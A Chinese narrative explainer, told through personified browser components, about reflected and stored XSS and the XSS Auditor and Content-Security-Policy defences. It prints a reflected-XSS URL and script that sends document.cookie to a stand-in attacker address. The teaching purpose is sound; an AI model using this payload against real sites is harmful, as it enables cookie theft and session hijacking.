神秘URL

我叫小風(fēng)，是Windows帝國(guó)一個(gè)普通的上班族。上一回說(shuō)到因?yàn)橐粋€(gè)跨域請(qǐng)求，我差點(diǎn)丟了飯碗，好在有驚無(wú)險(xiǎn)，我的職場(chǎng)歷險(xiǎn)記還在繼續(xù)。

“叮叮叮叮~~~~”，鬧鐘又把我給吵醒了，我一看時(shí)間竟然已經(jīng)這么晚了。

我趕緊起身，準(zhǔn)備要去上班，好不容易在那家瀏覽器公司謀了個(gè)差事，可不敢遲到。

今天又是普通的一天，很快就到了深夜，上網(wǎng)業(yè)務(wù)少了，我和小雪妹子一合計(jì)，伙同負(fù)責(zé)網(wǎng)絡(luò)連接的老白和負(fù)責(zé)存儲(chǔ)的小黑，一起打起了麻將。

一連打了幾圈，正在興頭上，公司的美女前臺(tái)跑了過(guò)來(lái)，“你們幾個(gè)別玩了，上網(wǎng)業(yè)務(wù)來(lái)了。老白，這是URL，給”

我瞅了一眼這URL，看上去有些奇怪，不僅比之前見(jiàn)過(guò)的都長(zhǎng)，貌似還夾雜著一些JavaScript代碼。

http://zone.oo.com/user/info.jsp?desc="/><script>$("body").append("<img src='http://192.168.59.129?c="+escape(document.cookie) + "'>")</script><!--

“老白，這URL長(zhǎng)的好奇怪？會(huì)不會(huì)有什么問(wèn)題？”，我向老白問(wèn)到。

“嗨，你小子就是新來(lái)的，我見(jiàn)過(guò)的URL比你執(zhí)行過(guò)的JS代碼都多，什么奇形怪狀的沒(méi)見(jiàn)過(guò)，大驚小怪”，老白不屑一顧。

“大家把牌蓋著，都別看，忙完了回來(lái)咱接著打”，老白繼續(xù)說(shuō)到。

于是大家各歸各位，準(zhǔn)備處理這一單上網(wǎng)業(yè)務(wù)。

很快，老白取回了這個(gè)URL背后的網(wǎng)頁(yè)，交給了小雪來(lái)解析渲染。

小雪做了一半，叫住了我：“風(fēng)哥，又有 <script> 標(biāo)簽了，該你上了”。

我接過(guò)小雪手里的網(wǎng)頁(yè)，猛地一看，這不是剛剛URL里面出現(xiàn)的代碼嗎？怎么又跑到網(wǎng)頁(yè)里面去了？

心里突然涌上一種不好的預(yù)感，正在困惑之中，老白催我了，“小雪小風(fēng)你倆趕緊的，網(wǎng)頁(yè)加載半天了還沒(méi)顯示出來(lái)！”

但愿是我多想了，我開(kāi)始執(zhí)行這 <script> 標(biāo)簽中的代碼了。

<script>
  $("body").append("\<img src='http://192.168.59.129:10086?c=" 
  + escape(document.cookie) + "'>")
</script>

我要?jiǎng)?chuàng)建一個(gè)新的 <img> 標(biāo)簽，添加到網(wǎng)頁(yè)正文中去?？戳艘幌逻@個(gè)圖片的來(lái)源，是一個(gè)新的地址，再一看，還要把當(dāng)前網(wǎng)站的Cookie帶著作為參數(shù)才能拿到這個(gè)圖片。

我來(lái)到小黑的存儲(chǔ)倉(cāng)庫(kù)，準(zhǔn)備向他索要Cookie。

當(dāng)我表明來(lái)意以后，小黑也顯得有些謹(jǐn)慎，“按照公司規(guī)定，一個(gè)網(wǎng)站的Cookie是不能隨便給別的網(wǎng)站訪問(wèn)的”

“這我當(dāng)然知道，不過(guò)現(xiàn)在是這個(gè)網(wǎng)站的JS代碼主動(dòng)把Cookie取出來(lái)發(fā)給別人，這不算違反公司規(guī)定吧”，我解釋到。

小黑鄒著眉頭想了一想，也就同意了。

我拿到cookie后，構(gòu)建了一個(gè)完整的 <img> 標(biāo)簽添加到了網(wǎng)頁(yè)的DOM樹(shù)中，之后還給小雪繼續(xù)渲染。

網(wǎng)頁(yè)很快渲染完成展示出來(lái)了，忙完之后我們繼續(xù)開(kāi)始未完的牌局。

過(guò)了一會(huì)兒，人類(lèi)終于關(guān)掉了瀏覽器，我們也可以下班了······

XSS跨站腳本攻擊

第二天一早，我剛到公司，小雪妹子就轉(zhuǎn)過(guò)頭告訴我：“風(fēng)哥，主管讓你去趟他的辦公室，他好像不太高興，你當(dāng)心點(diǎn)”

“你知道是什么事情嗎？”

“我也不太清楚，只聽(tīng)說(shuō)你執(zhí)行了什么錯(cuò)誤的JavaScript代碼”

我心里一緊，感覺(jué)大事不妙，難道是昨晚那奇怪的代碼有什么問(wèn)題？

來(lái)到主管的辦公室，見(jiàn)里面坐了一個(gè)年輕小哥。我輕輕的敲了敲門(mén)問(wèn)到：“主管，您找我有事？”

主管見(jiàn)我到來(lái)，指著旁邊的沙發(fā)示意我也坐下。

“你闖禍了知道嗎？”，領(lǐng)導(dǎo)扔給我一頁(yè)文件。

我拿起文件一看，上面赫然寫(xiě)著我昨晚執(zhí)行那段奇怪的JavaScript代碼。

“主管，我不太清楚，這是有什么問(wèn)題嗎？”，我小聲問(wèn)道。

主管指著旁邊那個(gè)年輕小哥說(shuō)到：“這位是OO空間網(wǎng)站的負(fù)責(zé)人，讓他告訴你吧”

小哥點(diǎn)了點(diǎn)頭說(shuō)到：“是這樣的，我們發(fā)現(xiàn)有人盜用我們網(wǎng)站的Cookie，免登錄直接訪問(wèn)了進(jìn)去，經(jīng)過(guò)日志排查，發(fā)現(xiàn)是你們這里把Cookie泄露的，所以想過(guò)來(lái)了解一下情況”

“這段代碼是你們網(wǎng)站自己的，我只是完成我的工作執(zhí)行了它而已啊”，我開(kāi)始有些緊張了。

“可是我們網(wǎng)站根本沒(méi)有這段代碼，也不可能把Cookie就這樣發(fā)給別人的”，這小哥也爭(zhēng)辯道。

辦公室的氣氛變得有些緊張，現(xiàn)場(chǎng)陷入了短暫的安靜。

就在此時(shí)，年輕小哥出去接了一個(gè)電話。

片刻之后，小哥再次回到辦公室，臉色突然和緩了許多，笑著說(shuō)到：“不好意思，剛剛接到同事的電話說(shuō)，他們已經(jīng)排查出了問(wèn)題，是我們網(wǎng)站對(duì)URL中的參數(shù)沒(méi)有檢查，直接寫(xiě)入了網(wǎng)頁(yè)中，被人利用傳入了JS代碼。跟你們應(yīng)該沒(méi)有關(guān)系，實(shí)在是抱歉”

聽(tīng)完，我松了一口氣，差點(diǎn)就要背鍋了。

回到工位，我把事情的經(jīng)過(guò)告訴了大伙。

小雪聽(tīng)后吐槽：“那些奇奇怪怪的URL就別亂點(diǎn)嘛，真是給我們添亂”

“你看你看，我昨晚上就覺(jué)得有些不對(duì)勁。這壞蛋手段挺高啊，能想出這么個(gè)損招，咱們給這種攻擊方式取個(gè)名字吧”，小黑說(shuō)到，“叫Cross Site Script攻擊怎么樣？”

老白點(diǎn)了點(diǎn)頭，“跨站腳本攻擊，嗯，總結(jié)很到位，那就簡(jiǎn)稱(chēng)CSS吧！”

小雪一聽(tīng)轉(zhuǎn)過(guò)頭來(lái)，“你叫CSS，那我的層疊樣式表豈不是要改名讓賢？”

老白撓了撓頭，有些不好意思，“哦，忘了這一茬。那改一下，叫XSS，這總可以了吧？”

我們都點(diǎn)了點(diǎn)頭，就這么定了。

XSS Auditor

雖然這一次的事情責(zé)任不在我們?yōu)g覽器，不過(guò)我一直還是有些后怕。

這天晚上，我又仔細(xì)回憶了那天整個(gè)事情的經(jīng)過(guò)

突然腦子里靈光一閃，發(fā)現(xiàn)一個(gè)重要的特點(diǎn)

既然JS代碼同時(shí)出現(xiàn)在了請(qǐng)求的URL中和響應(yīng)的網(wǎng)頁(yè)中，何不利用這個(gè)特點(diǎn)來(lái)進(jìn)行針對(duì)性攔截呢？

越想越難入睡，連夜寫(xiě)起了方案。

第二天，來(lái)到公司，打算將昨晚的方案匯報(bào)給主管，掙一下表現(xiàn)。

我再次來(lái)到主管辦公室，主管見(jiàn)是我，招呼道：“小風(fēng)啊，來(lái)來(lái)來(lái)，剛好找你有點(diǎn)事”

我快步走了進(jìn)去，只見(jiàn)主管又拿出了一疊文件放在我的面前，隨后說(shuō)到：“這是我搞到的絕密資料，是咱們隔壁Chrome瀏覽器公司的一個(gè)叫XSS Auditor的技術(shù)，據(jù)說(shuō)可以阻止類(lèi)似上次的攻擊事件，你抽空研究一下”

我腦子一懵，趕緊快速瀏覽了這份文件，沒(méi)想到居然跟我的方案撞到一塊兒了，而且比我想的還全面細(xì)致。我只好悄悄收起了原來(lái)準(zhǔn)備匯報(bào)的方案······

幾天后，主管宣布我們也要用上這種技術(shù)，增強(qiáng)咱們?yōu)g覽器的安全性。

存儲(chǔ)型XSS

“聽(tīng)說(shuō)了嗎？隔壁Chrome瀏覽器公司也發(fā)生XSS攻擊了”，一天中午，老白神神秘秘的說(shuō)到。

我一聽(tīng)來(lái)了精神，“不是有XSS Auditor嗎，怎么還會(huì)發(fā)生這種事？”

“這回那些壞蛋換招了，他們沒(méi)有把JS代碼放在URL中，XSS Auditor自然是發(fā)覺(jué)不了了”

“不在URL中，那放哪里了？”

“聽(tīng)說(shuō)是存在了數(shù)據(jù)庫(kù)里，訪問(wèn)網(wǎng)頁(yè)的時(shí)候從數(shù)據(jù)庫(kù)里讀取出來(lái)后，直接給填充到了網(wǎng)頁(yè)上了，喏，就像這樣”，老白說(shuō)完畫(huà)了一個(gè)圖。

“對(duì)了，他們借此機(jī)會(huì)把XSS攻擊分成了兩種，以前那種直接通過(guò)URL把JS代碼注入進(jìn)網(wǎng)頁(yè)的方式叫做反射型XSS，這一次這種叫存儲(chǔ)型XSS”，老白繼續(xù)說(shuō)到。

我看了老白的圖一下就明白了，“這一招也太狠了，存進(jìn)了網(wǎng)站的數(shù)據(jù)庫(kù)里，所有人訪問(wèn)頁(yè)面都得中招”

“可不是咋的，OO空間網(wǎng)站那邊已經(jīng)亂成一鍋粥了，正在內(nèi)部整頓，對(duì)所有的輸入進(jìn)行全面的檢查過(guò)濾，防止JS代碼混進(jìn)去?！?/p>

“這種事情還是得他們網(wǎng)站自己做好檢查，咱們?yōu)g覽器也幫不上什么忙”，一旁的小黑也插了一嘴。

大家七嘴八舌聊了幾句就散了。

雖然小黑說(shuō)的也沒(méi)錯(cuò)，不過(guò)上次的方案撞車(chē)，我一直不太服氣，這一次機(jī)會(huì)來(lái)了，我要是能再想出一套方案，能把這次的新型XSS一并解決的話，那就揚(yáng)眉吐氣了。

之后一段時(shí)間，一有閑暇我就開(kāi)始思考這個(gè)問(wèn)題，卻一直沒(méi)什么進(jìn)展。

CSP

這一天中午，沒(méi)什么工作要忙，我又想起了這個(gè)問(wèn)題，小雪他們又組織打麻將，我沒(méi)有心思便拒絕了。

老白聞?dòng)嵾^(guò)來(lái)，說(shuō)到：“小風(fēng)，你還在想那個(gè)問(wèn)題啊，你這兩天沒(méi)看新聞嗎，W3C標(biāo)準(zhǔn)化組織推出了一個(gè)新技術(shù)，已經(jīng)把這個(gè)問(wèn)題解決了！”

老白的話如當(dāng)頭一棒，“什么技術(shù)？怎么解決的？”

“你看你，天天關(guān)起門(mén)來(lái)研究，都不知道外面的世界變化有多快。你去了解一下，好像叫什么Content Security Policy，哦對(duì)，就是這個(gè)，簡(jiǎn)稱(chēng)叫CSP”

我趕緊去打聽(tīng)了這個(gè)叫CSP的新技術(shù)，看完直拍大腿，我怎么就沒(méi)想到。

CSP規(guī)定了一個(gè)叫Content-Security-Policy的信息，網(wǎng)站通過(guò)這個(gè)信息告訴瀏覽器哪些外部資源可以加載和執(zhí)行。這個(gè)信息可以用HTTP頭的形式出現(xiàn)，像這樣：

也可以通過(guò) <meta> 標(biāo)簽出現(xiàn)，像這樣：

<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

至于里面的內(nèi)容，則是將所有可能出現(xiàn)外部資源加載的地方進(jìn)行了指示，瀏覽器拿到它就能知道能去哪些地址加載對(duì)應(yīng)的資源，如果資源所在的地址不在名單之內(nèi)就拒絕加載：

- script-src：外部腳本
- style-src：樣式表
- img-src：圖像
- media-src：媒體文件（音頻和視頻）
- font-src：字體文件
- object-src：插件（比如 Flash）
- child-src：框架
- frame-ancestors：嵌入的外部資源
- connect-src：HTTP 連接（通過(guò) XHR、WebSockets、EventSource等）
- worker-src：worker腳本
- manifest-src：manifest 文件

比如 img-src的內(nèi)容是self，那所有的 <img> 標(biāo)簽的src屬性必須是在當(dāng)前網(wǎng)站才行，如果加載其他地址的圖片就會(huì)拒絕。

不僅如此，還提供了一個(gè)叫report-uri的字段，字段內(nèi)容是一個(gè)服務(wù)器地址，瀏覽器發(fā)現(xiàn)有不符合規(guī)定的資源加載后，除了拒絕加載還可以把這一情況報(bào)告給這個(gè)地址，網(wǎng)站就能及時(shí)知道預(yù)警了。

真是完美的解決方案！沒(méi)想到，竟然這么多競(jìng)爭(zhēng)對(duì)手都已經(jīng)用上了這項(xiàng)技術(shù)

當(dāng)天下午，我就拉著老白去到領(lǐng)導(dǎo)辦公室，說(shuō)服他將這項(xiàng)技術(shù)在咱們公司也用起來(lái)。

煩人的XSS攻擊總算是緩解了不少，我們也難得度過(guò)了一段時(shí)間的太平日子。

未完待續(xù)······

特別推薦一個(gè)分享架構(gòu)+算法的優(yōu)質(zhì)內(nèi)容，還沒(méi)關(guān)注的小伙伴，可以長(zhǎng)按關(guān)注一下：

長(zhǎng)按訂閱更多精彩▼
如有收獲，點(diǎn)個(gè)在看，誠(chéng)摯感謝